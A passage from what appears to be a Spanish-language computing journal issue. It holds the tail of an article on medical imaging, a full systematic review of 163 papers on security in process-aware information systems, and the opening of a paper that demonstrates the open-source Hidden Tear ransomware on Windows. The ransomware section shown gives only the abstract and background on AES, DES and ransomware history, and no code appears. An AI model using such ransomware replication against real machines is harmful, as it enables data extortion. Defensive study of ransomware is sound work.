- Castro, A. R., & Hernández Noguera, A. (2012). Obtenido de http://scielo.sld.cu/scielo.php?pid=S1684-18592012000200006&script=sci_arttext

Clinic-Cloud. (2014). *Clinic-Cloud*. Obtenido de <https://clinic-cloud.com/formato-dicom-que-es-estandar-imagenes-medicas/>.

H.K.Huang, D. (2010). *PACS and Imaging Informatics*.

Quijano, J. (2013). *Visual Studio 2013*. Obtenido de www.genbetadev.com/herramientas/visual-studio-2013

Rumbaugh, J., Jacobson, I., & Booch, G. (2000). El lenguaje unificado de modelado. Manual de referencia. Addison Wesley.

BIOGRAFÍA DE AUTORES

Claudia Jiménez Heredia, Ingeniera en Ciencias Informática. Universidad de Ciencias Informáticas, La Habana, Cuba.

Benjamín de Zayas Núñez, Licenciado en Física Nuclear en el Instituto Nacional de Tecnologías ciencias nucleares.

Kirenia Maldonado Zuñiga, Máster en ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

Raquel Vera Velázquez Máster en Ciencias de la Educación, Licenciada en Matemática, Universidad de Ciencias Pedagógicas, Las Tunas Cuba.

Liodanis Alberto Rodríguez Martínez, Licenciado en Informática Educativa, Universidad de Ciencias Pedagógicas, Granma Cuba.

SEGURIDAD EN LOS SISTEMAS DE INFORMACIÓN POR PROCESOS

Lenin Jonatan Pin García,
Leonardo Raúl Murillo Quimiz,
Daniela Denisse González Ponce,
Byron Michel Ayón Baque
Dra. C. Yisell Vigoa Escobedo.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jonatan.pin@unesum.edu.ec ,
Leonardo.murillo@unesum.edu.ec,
daniela-0597@hotmail.es,
2015mir.brayan@gmail.com
yisell.vigoa@gmail.com

RESUMEN

Los sistemas de información por procesos poseen actualmente muchas aplicaciones, sin embargo, todavía falta un acuerdo sobre la seguridad de los mismos. En el presente documento se informa sobre el desarrollo de una revisión sistemática de la literatura en donde se analizan investigaciones sobre la seguridad de los sistemas de información por procesos para determinar una terminología común en este contexto y los controles de seguridad aplicados. El análisis estadístico de 163 artículos científicos aceptados logra dar respuesta a las preguntas planteadas en el protocolo de la revisión sistemática en donde se tiene como resultado que la seguridad de estos sistemas se centra en aspectos específicos como las políticas de seguridad, requisitos de seguridad, mecanismos de autorización y control de accesos. Se evidencia también que los controles de seguridad dentro del ciclo de vida de los sistemas de información por procesos se establecen en su mayor parte en las etapas de diseño y aprobación siendo de tipo preventivos. Y que la seguridad en este tipo de sistemas es un campo de investigación multidisciplinario y aun desafiante.

PALABRAS CLAVE: Gestión de procesos de negocios, Seguridad en procesos de negocios, Seguridad en flujos de trabajo

ABSTRACT

Process-Aware information systems currently have many applications, however there is still an agreement on the safety of them. In this document we report on the development of a systematic review of the literature in which research on the security of information systems by processes is analyzed to determine a common terminology in this context and the security

controls applied. The statistical analysis of 163 accepted papers response the questions raised in the protocol of the systematic review where it results that the security of these systems focuses on specific aspects such as security policies, security requirements, mechanisms of authorization and access control. It is also evident that security controls within the life cycle of information systems by processes are established for the most part in the design and approval stages, being of a preventive nature. And that security in this type of systems is a multidisciplinary and even challenging research field.

KEYWORDS: Business Process Management, Business process security, Workflow security.

1. INTRODUCCIÓN

Los sistemas de información por procesos (SIP) tales como Enterprise Resource Planning (ERP), Customer Relationship Managment (CRM), Workflow, Business Process Managment Systems (BPMS) o sistemas legados; son compatibles con la ejecución automatizada de procesos de negocios (Weske, 2007). Un ejemplo de este tipo de sistemas es SAP ERP.

A menudo estos sistemas involucran una multitud de participantes y administran gran cantidad de datos, implementándose mediante servidores web locales o en la nube; en estas infraestructuras la seguridad puede ser un problema (Mather, Kumaraswamy, & Latif, 2009). Algunas consideraciones de seguridad han sido abordadas por la parte de la Workflow Management Coalition (WfMC) como organización global para estándares relacionados con procesos en 1998, pero aún se considera inmadura la investigación de los SIP como disciplina y es necesario mayores esfuerzos para la estandarización en cuanto a seguridad, pues según (van der Aalst, 2012) la investigación se ha centrado en el diseño y desarrollo de características básicas relevantes para este tipo de sistemas.

El presente trabajo proporciona una revisión sistemática de la literatura sobre seguridad en los sistemas de información por procesos, que se dirige a las siguientes preguntas de investigación:

1. ¿Qué significa la seguridad en los sistemas de información orientado a los procesos?
2. ¿Qué controles de seguridad se utilizan actualmente en los sistemas de información orientados al proceso?
3. ¿Se aplica la seguridad en cada fase del ciclo de vida del proceso?

Una revisión sistemática de la literatura es a criterio de (Kitchenham et al., 2009) un estudio secundario que sigue un proceso formal y reproducible mediante el cual se identifica, evalúa e interpreta toda la literatura escrita (para este caso) y disponible, relacionada a una pregunta

de investigación; teniendo el proceso etapas de planificación, ejecución y publicación de resultados.

Este documento describe los diferentes pasos de la revisión de la literatura a partir de la identificación de las preguntas de investigación, la búsqueda de la literatura, la selección de la literatura, la extracción de datos y síntesis, y la clasificación de los controles de seguridad. Sobre la base de la revisión de la literatura, identificamos las definiciones y la terminología existentes para la seguridad en los sistemas de información por proceso (SIP). Se incluye también una discusión de seguridad sobre este tipo de sistemas como un área de investigación interdisciplinaria detallando los hallazgos encontrados en la ejecución de la revisión sistemática.

2. MATERIALES Y MÉTODOS

Como se mencionó anteriormente las revisiones sistemáticas según (Kitchenham et al., 2009), tienen tres etapas las cuales no son completamente secuenciales, se empieza el proceso con la etapa de planificación, en donde se debe desarrollar un protocolo de revisión sistemática en el que se especifica el contexto de la revisión, las preguntas de investigación, la estrategia de búsqueda, criterios y procedimientos de selección y evaluación de los artículos, estrategias de extracción y síntesis de datos, y el cronograma del proyecto; luego en la ejecución de la revisión sistemática se lleva a cabo lo planificado y por último se realiza el informe o publicación de resultados.

El estudio de (Yupanqui & Oré, 2017) se describe al detalle los pasos de un protocolo de revisión sistemática, los cuales pueden ser apreciados en la figura 1. Y son los que se han seguido en la ejecución del presente trabajo. Cabe destacar que otros autores como (Galvão, Sawada, Trevizan, & Trevizan, 2004) sostienen que una revisión sistemática consta de seis fases bien definidas tales como: construcción de protocolo, definición de preguntas, búsqueda de estudios, selección de estudios, evaluación crítica de los estudios, recolección de datos y síntesis de los datos. Pero en esencia las actividades descritas por (Galvão et al., 2004) y (Kitchenham et al., 2009) son muy similares.

Figura 1

Diagrama del protocolo de Revisión Sistemática

Fuente: (Yupanqui & Oré, 2017).

2.1. Preguntas de Investigación.

A partir de la pregunta general “Cual es la seguridad en los sistemas de información orientados al proceso” se formularon preguntas específicas usando los criterios PICOC explicados también en el trabajo de (Kitchenham et al., 2009).

1. ¿Qué significa la seguridad en los sistemas de información orientado a los procesos?
2. ¿Qué controles de seguridad se utilizan actualmente en los sistemas de información orientados al proceso?
3. ¿Se aplica la seguridad en cada fase del ciclo de vida del proceso?

2.2. Búsqueda de la literatura.

Como criterio de inclusión se consideró todo artículo completo localizado en bases de datos académicas escrito en ingles con cualquier fecha de publicación, en donde se describa claramente una aplicación de seguridad en SIP.

2.3. Criterios de exclusión.

Todo artículo que no describa casos de estudio, o metodologías, o herramientas de seguridad aplicada en sistemas de información por procesos.

2.4. Fuentes de información.

Se realizó una búsqueda manual de estudios publicados en las bases de datos electrónicas siguientes:

- Google Scholar (<http://scholar.google.com>)
- IEEE Computer Society (<http://www.computer.org/>)
- ACM (<http://dl.acm.org/>)
- Springer (<http://www.springerlink.com/>)

2.5. Cadenas de búsqueda.

Para obtener la mayor cantidad de estudios se definieron dos cadenas de búsqueda con su respectiva sintaxis en función de la base de datos: “workflow security” y “business process security”. Los términos de búsqueda fueron escritos en inglés.

2.6. Extracción de datos.

Para la realización de la revisión sistemática se utilizó una herramienta en línea situada en <https://parsif.al>, la cual está diseñada para ayudar a los investigadores a realizar revisiones sistemáticas dentro del contexto de la ingeniería de software en donde los investigadores distribuidos geográficamente pueden trabajar juntos en un espacio virtual de trabajo compartido. La herramienta sigue los lineamientos descritos en (Kitchenham et al., 2009) proporcionando una forma de documentar todo el proceso; en la planificación, Parsif.al ayuda con los objetivos PICOC, preguntas de investigación, cadenas de búsqueda, palabras clave y selección de fuentes o bases de datos, los criterios de inclusión y exclusión. También proporciona una lista de verificación para poder evaluar la calidad de los artículos encontrados, y cuenta con formularios para poder realizar la extracción de los datos.

En conclusión, la metodología de investigación comprende los siguientes pasos: Primero, definir las preguntas de investigación y luego, realizar una extensa búsqueda bibliográfica. El tercer paso fue seleccionar la información relevante para la seguridad y para los SIP. Además, las publicaciones se sintetizaron a un conjunto de controles de seguridad. Por último, estos controles se clasifican por las fases del ciclo de vida del proceso y los tipos de acción.

3. RESULTADOS Y DISCUSIÓN.

La ejecución de la revisión sistemática se desarrolló durante el último trimestre del año 2018 y a partir de la búsqueda realizada en las bases de datos descritas en el protocolo de revisión sistemática se obtuvieron un total de 240 artículos, de los cuales 48 coincidieron como

duplicados quedando 192 estudios para analizar. De estos 29 fueron rechazados según los criterios de exclusión, y 163 cumplieron con los criterios de inclusión y calidad. De estos 163 artículos aceptados, 136 correspondiente el 83,44% fueron presentados en conferencias y 27 equivalente al 16,56% en revistas científicas.

En las tablas 1, 2 y 3 se puede observar los resultados del proceso de selección aplicado.

Tabla 1. Selección de artículos

Clasificación	Número de artículos
Duplicados	48
Rechazados	29
Aceptados	163
Total	240

Fuente: Elaboración propia

Tabla 2. Artículos Encontrados en conferencias

Conferencias	No.
International Conference on Cooperative Information Systems (CoopIS)	17
ACM Symposium on Access Control Models and Technologies	15
International Conference on Business Process Management (BPM) Workshops	11
International Conference on Business Process Management (BPM)	9
International Conference on Availability, Reliability and Security (ARES)	8
International Conference on Web Services (ICWS)	8
International Conference on Advanced Information Systems Engineering	7
Annual IFIP WG 11.3 Working Conference on Data and Applications Security and Privacy (DBSec)	6
European Symposium on Research in Computer Security (ESORICS)	6
Annual Computer Security Applications Conference (ACSAC)	5
European Conference on Web Services (ECOWS)	4
International Conference on Model Driven Engineering Languages and Systems (MoDELS)	4
Symposium on Applied Computing (SAC)	4
International Conference on Services Computing (SCC)	4

International Conference on Database and Expert Systems Applications (DEXA)	3
Workshops	
International Symposium on Policies for Distributed Systems and Networks (POLICY)	3
International Conference on Availability, Reliability and Security (ARES)	2
Workshops	
International Conference on Business Information Systems (BIS)	2
Working Conference on Business Process Modeling, Development, and Support (BPMDS)	2
International Conference on Computational Intelligence for Modelling, Control and Automation (CIMCA)	2
International Conference on Risks and Security of Internet and Systems	2
International Conference on Database and Expert Systems Applications (DEXA)	2
International Conference on Enterprise Information Systems (ICEIS)	2
International Conference on Service-Oriented Computing (ICSOC)	2
International Conference on Web Engineering (ICWE)	2
Modellierung	1
IFIP TC-11 International Information Security and Privacy Conference (SEC)	1
International Conference on Web Information Systems (WISE)	1
IEEE Computer Security Foundations Workshop (CSFW)	1

Fuente: Elaboración propia

Tabla 3. Artículos Encontrados en Revistas

Revistas	No.
Journal of Computer Security	7
Computers & Security	3
Information Systems	3
Data & Knowledge Engineering	2
Electronic Commerce Research	2
Electronic Notes in Theoretical Computer Science	2
Information and Software Technology	2
Information Management & Computer Security	2

Journal of Network and Computer Applications	1
ACM Transactions on Information and System Security (TISSEC)	1
IEEE Transactions on Services Computing	1
IEEE Transactions on Systems, Man, and Cybernetics	1

Fuente: Elaboración propia

A continuación, los resultados obtenidos se mostrarán en función de las preguntas planteadas.

Pregunta 1.- ¿Qué significa la seguridad en los sistemas de información orientado a los procesos?

Específicamente, la seguridad de la información es la protección de la información y los sistemas de información a menudo relacionados con la preservación de la confidencialidad, la integridad y la disponibilidad (Anderson, 2001). Se puede encontrar un amplio conjunto de definiciones de seguridad de la información en estándares y recomendaciones tales como la norma ISO / IEC 27000 o Publicaciones especiales NIST. Por ejemplo, la familia del estándar ISO / IEC 27000 especifica que la seguridad de la información "es la preservación de la confidencialidad, integridad y disponibilidad de la información", pero también señala que otros requisitos como la autenticidad, la responsabilidad, el no repudio, y la confiabilidad pueden estar involucrados (Disterer, 2013). Además, las definiciones de seguridad de la información se pueden encontrar en las regulaciones y las leyes de todo el mundo. Por ejemplo, "seguridad de la información" significa proteger la información y los sistemas de información del acceso, uso, divulgación, interrupción, modificación o destrucción no autorizados para proporcionar, integridad, confidencialidad, y disponibilidad de acuerdo con la ley federal de los Estados Unidos (44 U.S.C. Sección 3542 (2012)).

De estas definiciones, se puede ver que la seguridad se refiere a la protección de la información y, a menudo, se utilizan requisitos de seguridad como la confidencialidad o la integridad.

En general, los Sistemas de información por procesos - SIP difieren de otros Sistemas de información (SI) con respecto a su aspecto de comportamiento, es decir, la ejecución de un número posiblemente grande de instancias de proceso basadas en un esquema o plantilla de proceso dado. En consecuencia, los requisitos de seguridad que son específicos para sistemas tipo SIP pueden resultar del comportamiento dinámico de las instancias de proceso (Rinderle-Ma & Leitner, 2010).

Aunque en el estado del arte se reconoce la importancia de la seguridad en los sistemas de información por procesos (Hung & Karlapalem, 2003), la definición de lo que significa seguridad en particular en sistemas SIP permanece desequilibrada y se centra en cuatro aspectos diferentes. Primero, la definición y el desarrollo de políticas de seguridad es importante para el diseño y la ejecución de los procesos. Por ejemplo, un flujo de trabajo seguro se define en (Hung & Karlapalem, 2003) como un "proceso de negocio soportado por computadora" capaz de contra amenazas de seguridad y que cumple con las políticas de seguridad definidas por el modelador de flujo de trabajo ". De acuerdo con (Long, Baker, & Fung, 1999), un sistema de flujo de trabajo seguro es un sistema "que protege los datos empresariales de acuerdo con una política de seguridad de flujo de trabajo". En (Atluri & Huang, 1997), la seguridad "se refiere a la capacidad de hacer cumplir una política de seguridad que rige la divulgación, modificación o destrucción de la información". En (Ayed, Cuppens-Boulahia, & Cuppens, 2008) las políticas de seguridad "deben garantizar muchas propiedades: integridad, autorización, disponibilidad, confidencialidad, autenticación y separación de tareas". Además, en (Blay-Fornarino & Mosser, 2011) se afirma que un "enfoque importante para administrar la seguridad está representado por el desarrollo de servicios de seguridad basados en políticas para proporcionar operaciones de seguridad relevantes para los procesos de negocios". Como se puede ver en estas definiciones, los requisitos de seguridad a menudo se usan para respaldar la definición de políticas de seguridad. Por ejemplo, en (Röhrig & Knorr, 2004) la seguridad se define con los requisitos: confidencialidad, integridad y disponibilidad. Estas definiciones muestran que, con frecuencia, la seguridad en sistemas SIP se basa en políticas de seguridad, es decir, una intención y dirección general expresadas formalmente por la gerencia. Estas políticas definen la protección de la información (por ejemplo, datos) y aseguran requisitos específicos (por ejemplo, confidencialidad).

Además, la seguridad en los SIP a menudo está relacionada con los mecanismos de autorización y control de acceso, en (Yi, Yong, & Weinong, 2004) se afirma que para la seguridad es importante "verificar" la corrección de las autorizaciones del flujo de trabajo en relación con las políticas de seguridad de la organización y el entorno de ejecución real antes o incluso durante cualquier ejecución real del flujo de trabajo ". Por lo tanto, los mecanismos de control de acceso son necesarios para garantizar que solo los sujetos autorizados puedan ejecutar procesos. Estos mecanismos de autorización a menudo se basan en políticas de seguridad organizativas (por ejemplo, modelos organizativos, descripciones de puestos y pautas de seguridad).

Esta revisión de la literatura muestra que las definiciones de seguridad en los SIP están desequilibradas; muestran solo una vista, pero dejan de lado otros aspectos como aspectos de procesos, humanos y fases del ciclo de vida (por ejemplo, aspectos de tiempo de diseño y tiempo de ejecución). Parece que se necesita una definición de seguridad más amplia en este tipo de sistemas.

Pregunta 2.- ¿Qué controles de seguridad se utilizan actualmente en los sistemas de información orientados al proceso?

Luego del análisis de los artículos aceptados, se pudieron determinar cinco categorías dentro de las cuales se encuentran un conjunto de doce controles de seguridad conforme se muestran en la tabla 4. La primera categoría agrupa los Conceptos de Seguridad que se utilizan normalmente al modelar y diseñar procesos de negocios (Rodríguez, Fernández-Medina, & Piattini, 2007). La segunda categoría identificada como Autorización y Control de Acceso, se refiere a todos los mecanismos que gestionan la autorización de los usuarios en un sistema de información por procesos (Menzel, Thomas, & Meinel, 2009). La tercera categoría de Aplicaciones fue obtenida de los estudios de casos de implementación de funciones de seguridad en SIP los cuales se centran especialmente en Arquitecturas Orientadas a Servicios (SOA) y modelos de control de acceso. Una cuarta categoría se refiere a la Verificación de los procesos de negocios y todos los aspectos relacionados (Maggi, Montali, Westergaard, & Van Der Aalst, 2011). Finalmente la categoría de Manejo de Fallas se refiere al manejo de excepciones y errores durante el tiempo de ejecución del proceso (Luo, Sheth, Kochut, & Miller, 2000).

Tabla 4. Categorización de los controles de seguridad en sistemas de información por procesos.

<i>Categoría</i>		<i>Control de Seguridad</i>		
<i>Conceptos de seguridad</i>	<i>de</i>	Ingeniería	Modelado	Requerimientos de Seguridad
<i>Autorización y control de acceso</i>		Modelos de Control de Acceso	Restricciones	

<i>Aplicaciones</i>	Access Control	Arquitecturas Orientadas a Servicios	
<i>Verificación</i>	Consistencia, Exactitud Y Conformidad	Vigilancia	Minería de Procesos
<i>Manejo de Fallas</i>	Excepción Manejo	Recuperación y Reparación	

Fuente: Elaboración propia

Pregunta 3.- ¿Se aplica la seguridad en cada fase del ciclo de vida del proceso?

Luego de la revisión de la literatura se clasificó el tipo de acción con respecto a la seguridad en los sistemas de información por procesos se clasificó en prevención, detección y reacción; y el ciclo de vida en diseño, aprobación, evaluación y actualización. Se evidenció que los controles de seguridad más preventivos se han establecido en la fase de Diseño y Aprobación. De hecho, el 51% de la literatura está relacionada con la fase de aprobación. La fase de Diseño representó el 38%. La evaluación contenía el 10% de las publicaciones y la actualización o cambio solo el uno por ciento (3). Esto indica que los controles de seguridad actuales se centran en la fase de Diseño y Aprobación y excluyen la fase de Evaluación y Cambio.

4. CONCLUSIONES

Esta revisión sistemática tuvo como objetivo investigar sobre la seguridad en los sistemas de información orientados a los procesos y abordar tres preguntas de investigación principales. Se examinaron 163 publicaciones entre los años 1993 y 2017 y clasificamos estas publicaciones en 5 categorías de controles de seguridad utilizando un enfoque de mapeo sistemático. Además, para obtener una visión holística de la seguridad en SIP, clasificamos estos controles a lo largo del ciclo de vida del proceso y por tipos de acción. Por último, en función de la revisión de la literatura y la clasificación, identificamos los desafíos de la investigación.

Los principales resultados de esta revisión son los siguientes:

1.- ¿Qué significa la seguridad en los sistemas de información orientado a los procesos?

La literatura muestra que la seguridad en SIP es un tema importante, pero no hubo un entendimiento común de la definición de seguridad en este tipo de sistemas. Descubrimos que las definiciones de seguridad son desequilibradas y, a menudo, se centran en aspectos específicos, como políticas de seguridad, requisitos de seguridad, mecanismos de autorización y control de acceso.

2.- ¿Qué controles de seguridad se utilizan actualmente en los sistemas de información orientados al proceso?

Se identificaron 12 controles de seguridad en el área de conceptos de seguridad, autorización y control de acceso, aplicaciones, verificación y manejo de fallas en SIP. Estos controles de seguridad muestran que la investigación de SIP proporciona un amplio conjunto de medidas para garantizar la seguridad de ciertos aspectos.

3.- ¿Se aplica la seguridad en cada fase del ciclo de vida del proceso?

Los controles de seguridad en sistemas SIP se pueden encontrar principalmente como medidas de prevención para el diseño y la implementación de procesos (por ejemplo, modelado de procesos, modelos de control de acceso). Por lo tanto, a menudo se centran en modelos estáticos y no incluyen características dinámicas como los cambios en los procesos. Además, solo existen pocos controles de detección y reacción, pero son importantes para un enfoque de seguridad integral.

REFERENCIAS BIBLIOGRÁFICAS

- Anderson, R. (2001). *Security Engineering: A Guide to Building Dependable Distributed Systems*. JohnWiley&Sons. Inc., Ny.
- Atluri, V., & Huang, W.-K. (1997). An extended Petri net model for supporting workflows in a multilevel secure environment. In *Database Security* (pp. 240–258). Springer.
- Ayed, S., Cuppens-Boulahia, N., & Cuppens, F. (2008). Deploying access control in distributed workflow. In *Proceedings of the sixth Australasian conference on Information security- Volume 81* (pp. 9–17). Australian Computer Society, Inc.
- Blay-Fornarino, M., & Mosser, S. (2011). Introducing security access control policies into legacy business processes. In *2011 IEEE 15th International Enterprise Distributed Object*

- Computing Conference Workshops* (pp. 42–49). IEEE.
- Disterer, G. (2013). ISO/IEC 27000, 27001 and 27002 for information security management.
- Galvão, C. M., Sawada, N. O., Trevizan, M. A., & Trevizan, M. A. (2004). Revisão sistemática: recurso que proporciona a incorporação das evidências na prática da enfermagem. *Revista Latino-Americana de Enfermagem*, 12(3), 549–556. <https://doi.org/10.1590/S0104-11692004000300014>
- Hung, P. C. K., & Karlapalem, K. (2003). A secure workflow model. In *Proceedings of the Australasian information security workshop conference on ACSW frontiers 2003-Volume 21* (pp. 33–41). Australian Computer Society, Inc.
- Kitchenham, B., Pearl Brereton, O., Budgen, D., Turner, M., Bailey, J., & Linkman, S. (2009). Systematic literature reviews in software engineering – A systematic literature review. *Information and Software Technology*, 51(1), 7–15. <https://doi.org/10.1016/J.INFSOF.2008.09.009>
- Long, D. L., Baker, J., & Fung, F. (1999). A prototype secure workflow server. In *Proceedings 15th Annual Computer Security Applications Conference (ACSAC'99)* (pp. 129–133). IEEE.
- Luo, Z., Sheth, A., Kochut, K., & Miller, J. (2000). Exception handling in workflow systems. *Applied Intelligence*, 13(2), 125–147.
- Maggi, F. M., Montali, M., Westergaard, M., & Van Der Aalst, W. M. P. (2011). Monitoring business constraints with linear temporal logic: An approach based on colored automata. In *International Conference on Business Process Management* (pp. 132–147). Springer.
- Mather, T., Kumaraswamy, S., & Latif, S. (2009). *Cloud security and privacy: an enterprise perspective on risks and compliance*. “O'Reilly Media, Inc.”
- Menzel, M., Thomas, I., & Meinel, C. (2009). Security requirements specification in service-oriented business process management. In *2009 International Conference on Availability, Reliability and Security* (pp. 41–48). IEEE.
- Rinderle-Ma, S., & Leitner, M. (2010). On evolving organizational models without losing control on authorization constraints in web service orchestrations. In *2010 IEEE 12th Conference on Commerce and Enterprise Computing* (pp. 128–135). IEEE.
- Rodríguez, A., Fernández-Medina, E., & Piattini, M. (2007). A BPMN extension for the modeling of security requirements in business processes. *IEICE Transactions on Information and Systems*, 90(4), 745–752.
- Röhrig, S., & Knorr, K. (2004). Security analysis of electronic business processes. *Electronic Commerce Research*, 4(1–2), 59–81.

- van der Aalst, W. M. P. (2012). A decade of business process management conferences: personal reflections on a developing discipline. In *International Conference on Business Process Management* (pp. 1–16). Springer.
- Weske, M. (2007). Business process management: Concepts, languages, architectures. *Business Process Management: Concepts, Languages, Architectures*, 1–368. <https://doi.org/10.1007/978-3-540-73522-9>
- Yi, Z., Yong, Z., & Weinong, W. (2004). Modeling and analyzing of workflow authorization management. *Journal of Network and Systems Management*, 12(4), 507–535.
- Yupanqui, J. R. A., & Oré, S. B. (2017). Políticas de Seguridad de la Información: Revisión Sistemática de las Teorías que Explican su Cumplimiento. *RISTI - Revista Ibérica de Sistemas e Tecnologias de Informação*, 25(25), 112–134. <https://doi.org/10.17013/risti.25.112-134>

BIOGRAFÍA DEL AUTOR

Jonatan Lenin Pin García, Ingeniero en Sistemas con maestrías en Docencia Universitaria, Sistemas de Información Gerencial en la ESPOL, Gestión y Dirección de las TIC's. Estudiante de Doctorado en Ingeniería en la Pontificia Universidad Católica del Perú. Profesor titular a tiempo completo de la Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí – Ecuador. Línea de Investigación: Minería de Procesos.

Leonardo Raúl Murillo Quimis, Ingeniero en Computación y Redes con maestría en Educación Informática. Profesor titular a tiempo completo de la Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí – Ecuador.

Byron Michel Ayón Baque, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del sur de Manabí, del Cantón Jipijapa-Manabí-Ecuador; Graduado de Bachiller en Informática en la Unidad Educativa Fiscal Alejo Lascano.

Daniela Denisse González Ponce, Estudiante de la Carrera de Ingeniería en Computación y Redes de la Universidad Estatal del sur de Manabí, del Cantón Jipijapa-Manabí-Ecuador; Graduado en Bachiller en Químico – Biólogo de la Unidad Educativa Fiscal Alejo Lascano.

Yisell Vigoa Escobedo, Doctora en Ciencias Pedagógicas, Universidad de Granma, Cuba, Directora de Relaciones Internacionales.

**DEMOSTRACIÓN DE TROYANO HIDDEN TEAR RANSOMWARE DE CÓDIGO
ABIERTO CON CIFRADO SIMÉTRICO AES QUE SE EJECUTA EN
COMPUTADORAS CON SISTEMA OPERATIVO WINDOWS**

Marco Antonio Yandún Velasteguí,

Jairo Vladimir Hidalgo Guijarro

Samuel Benjamin Lascano Rivera,

Byron Adair Villarreal García

UNIVERSIDAD POLITÉCNICA ESTATAL Del CARCHI

yandunmarco@gmail.com

jairo.hidalgo@upec.edu.ec

samuel.lascano@upec.edu.ec

adair19945@gmail.com

RESUMEN

En el presente trabajo se expone la aplicación de uno de las aplicaciones Ransomware de código libre disponibles y que se puede ejecutar en equipos de sistema operativo Windows, para lo cual se replicó el aplicativo, clases y otros componentes desarrollados en Visual Studio C++ y la en la programación del aplicativo web para la gestión, generación de claves cifradas en lenguaje PHP y para su alojamiento con el uso de recursos libres disponibles en Internet

Este trabajo tiene un contenido técnico y es de carácter demostrativo de la forma de infección y captura de archivos contenidos en un directorio específico o todo un disco duro, su cifrado y la forma como descifrar o devolver los archivos a su estado original, simulando el secuestro de datos que lo han realizado troyanos Ransomware como el WannaCry, Petya, Cerber, Cryptolocker o Locky que tiene fines extorsivos y de lucro para los hackers. Además, la intención de este trabajo es aplicar la lógica de los Troyanos Ransomware para la protección de archivos por la aplicación de técnicas de cifrado de seguridad informática.

PALABRAS CLAVE: cifrado, Hidden Tear, ransomware, seguridad informática.

ABSTRACT

In the present work the application of one of the open source Ransomware applications available and that can be executed in Windows operating system equipment is exposed, for which the application, classes and other components developed in Visual Studio C++ and the one in the programming of the web application for the management, generation of encrypted keys in PHP language and for its hosting with the use of free resources available on the Internet

This work has a technical content and is of a demonstrative nature of the way of infection and capture of files contained in a specific directory or a whole hard disk, its encryption and how to decrypt or return the files to their original state, simulating the kidnapping of data that has been done by Ransomware Trojans such as the WannaCry, Petya, Cerber, Cryptolocker or Locky that has extortion and profit purposes for hackers. In addition, the intention of this work is to apply the logic of the Ransomware Trojans for the protection of files by the application of computer security encryption techniques.

KEYWORDS: computer security, encryption, ransomware, hidden tear.

1. INTRODUCCIÓN

En la era de la globalización, en donde la información es un aspecto fundamental en la gestión de procesos y la automatización de los mismos, tenemos la obligación de mantener la información a buen recaudo así lo afirman Yandún M, Flores M (2018), ya que la información es el activo que tiene un valor incalculable dentro de las empresas y por lo tanto debe ser asegurada contra de los ataques, incidentes y virus informáticos.

Por medio de las redes de comunicación es donde más tránsito de datos ocurre conocido como tráfico de red, es gracias a las redes de comunicación que se ha reducido distancias ya que un archivo puede estar disponibles en pocos segundos en múltiples lugares de planeta, pero por el mismo canal se puede transferir múltiples aplicaciones maliciosas como los virus informáticos y sus propagación Avast (2018), puede realizarse a través de medios disponibles en internet, afectando las características de la información como confidencialidad, integridad y disponibilidad.

La información que se transmite por redes de internet e intranet es variada incluye textos, audio, imágenes y otros tipos de multimedia, muchos de los cuales son producto de años de almacenamiento por los usuarios y más aun por múltiples usuarios en las organizaciones, por ello la importancia de proteger toda la información.

Cifrado simétrico

Este tipo de cifrado es conocido como cifrado de llave secreta es el método en donde se utiliza la misma llave para el cifrado como para el descifrado de la información, por lo que el emisor como el receptor de la información cifrada deben intercambiar las llaves de cifrado para poder utilizar la información o para el proceso de cifrado y descifrado. Borrayo V., Arias D. (2017)

Algoritmo DES

Es el algoritmo simétrico más estudiado y por lo tanto más empleado en todo el mundo, ya que emplea una clave de 56 bits y originalmente fue diseñado para implementarse en el hardware pero Kaba I. (2008) indica que este algoritmo DES era seguro, pero con las técnicas de hackeo conocida como de fuerza bruta se puede descubrir la clave en relativamente poco tiempo porque el tamaño de 56 bits es muy pequeño y dejó de ser el algoritmo de cifrado simétrico y fue reemplazado por algoritmo Triple DES.

Algoritmo Triple-DES

Este algoritmo utiliza el algoritmo DES, pero realiza el cifrado por tres ocasiones una variante o resultante de las múltiples combinaciones de cifrado es el conocido algoritmo DES-EEE3 y es considerado uno de los más seguros de los procedimientos del Triple DES Hielscher y Delgado, (2006)

Algoritmo AES

Pousa A. (2011) explica que el algoritmo Estándar Criptográfico Avanzado (AES), es el algoritmo que puede reemplazar a DES e incluso al Triple DES como un estándar de cifrado simétrico, ya que cifra por bloques, luego de un proceso de selección del algoritmo que sería el estándar de cifrado, Según Daemen & Rijmen (1999), AES fija el bloque con el tamaño de 128 bits y su clave de cifrado y descifrado puede variar el tamaño entre 128, 192 o 256 bits.

Malware

El software malicioso cada vez es más sofisticado no solo en su forma de infección sino en su forma de propagación cruzando incluso las barreras de los métodos de protección como los antivirus, antimalware e incluso los firewalls por lo tanto han aumentado considerablemente las víctimas por este tipo de amenazas García L., Sandoval A., López A., Armas E., Kim T. (2018)

Por lo tanto el un software diseñado con la finalidad de dañar cualquier archivo, aplicativo, computador o red se considera malware. Hoy en día con capacidades de infección rápida

sigilosas y en muchos casos a nivel de kernel o por técnicas que engañan al usuario por medio de ingeniería social E. Skoudis, L. Zeltser (2004)

Ransomware

Proviene de las palabras rescate y software es decir se debe cancelar una valor para recuperara la información afectada por este tipo de malware, Oñate (2016), hay multiples versiones que han ido evolucionando con el pasar de los años y método más comun de infeccion es ejecutar el algoritmo de cifrado a los archivos o dispositivos denegando al usuario el acceso a dichos archivos, directorios o dispositivos al mismo tiempo que solicita el rescate para devolver la información a su estado original.

Según la referencia de Glassberg J. (2018), han existido varias versiones y variantes de Ransomware y esto ha ocurrido desde algunos años atrás originandose en Rusia y expandiendose hasta los Estados Unidos, para Kharraz et al. (2015) indica que el primer Ransomware pudo aparecer en el año 2004 variante de un malware que aparecio en 1980, que cambiaba el archivo autoexec.bat luego de aproximadamente 90 reinicios, y que fue solucionado luego que el usuario cancelo una cantidad de dinero por recobrar el acceso, Salvi H., Kerkar R., (2016).

Para Ali A. (2017), Desde el año 2009, el tipo de malware Ransomware toma importancia ya que en ese año aparecen las criptomonedas como el Bitcoin con los cual se soluciona el inconveniente de obtener un rescate de forma anónima para los hackers.

MATERIALES Y MÉTODOS

Materiales

